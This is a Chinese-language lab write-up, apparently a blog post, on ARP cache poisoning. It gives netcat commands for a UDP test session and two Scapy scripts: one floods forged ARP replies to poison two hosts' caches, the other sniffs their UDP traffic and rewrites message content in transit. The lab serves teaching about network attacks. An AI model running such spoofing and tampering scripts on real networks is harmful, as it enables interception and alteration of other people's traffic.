ARP缓存中毒
一、实验要求
实验内容如下
网络拓扑结构如下
IP地址与MAC地址的对应关系如下
二、实验过程
1.hostB启动nc服务器
1 | nc -lu 9090 |
2.hostA启动客户端连接nc服务器
1 | nc -u 192.168.60.1 9090 |
3.hostM运行ARP欺骗和嗅探/篡改脚本
本示例将ARP欺骗和信息篡改两个程序分开执行,代码如下可供参考
ARP欺骗脚本
apr1.py
1
2
3
4
5
6
7
8
9from scapy.all import*
import time
p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:c0:a8:3c:03")/ARP(pdst="192.168.60.2", psrc="192.168.60.1")
p2 = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:c0:a8:3c:03")/ARP(pdst="192.168.60.1", psrc="192.168.60.2")
while True:
sendp(p1)
sendp(p2)
time.sleep(0.5)信息篡改脚本
arp2.py
1
2
3
4
5
6
7
8
9
10
11from scapy.all import *
def spoof_pkt(pkt):
if pkt.haslayer(UDP) and pkt.haslayer(Raw):
newdata = pkt[Raw].load.replace(b"123", b"456")
newpkt = Ether(src="02:42:c0:a8:3c:03", dst="02:42:62:3b:7b:5d")/IP(src=pkt[IP].src, dst=pkt[IP].dst)/UDP # 注意修改hostB的MAC地址(每个人不一样)
(sport=pkt[UDP].sport, dport=pkt[UDP].dport)/newdata
sendp(newpkt, iface="eth0")
f = 'udp and (ether src 02:42:c0:a8:3c:02 or ether src 02:42:62:3b:7b:5d)' # 注意修改这里的hostB的MAC地址
sniff(filter=f, prn=spoof_pkt)
三、效果演示
评论